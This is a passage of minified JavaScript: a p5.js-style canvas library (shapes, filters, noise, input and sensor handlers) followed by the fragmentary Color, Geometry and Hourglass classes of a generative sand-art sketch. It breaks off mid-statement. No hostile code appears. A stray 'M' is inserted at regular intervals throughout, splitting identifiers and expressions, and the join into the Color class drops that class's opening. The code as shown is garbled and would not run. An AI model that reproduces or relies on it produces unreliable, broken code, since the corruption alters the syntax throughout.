.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
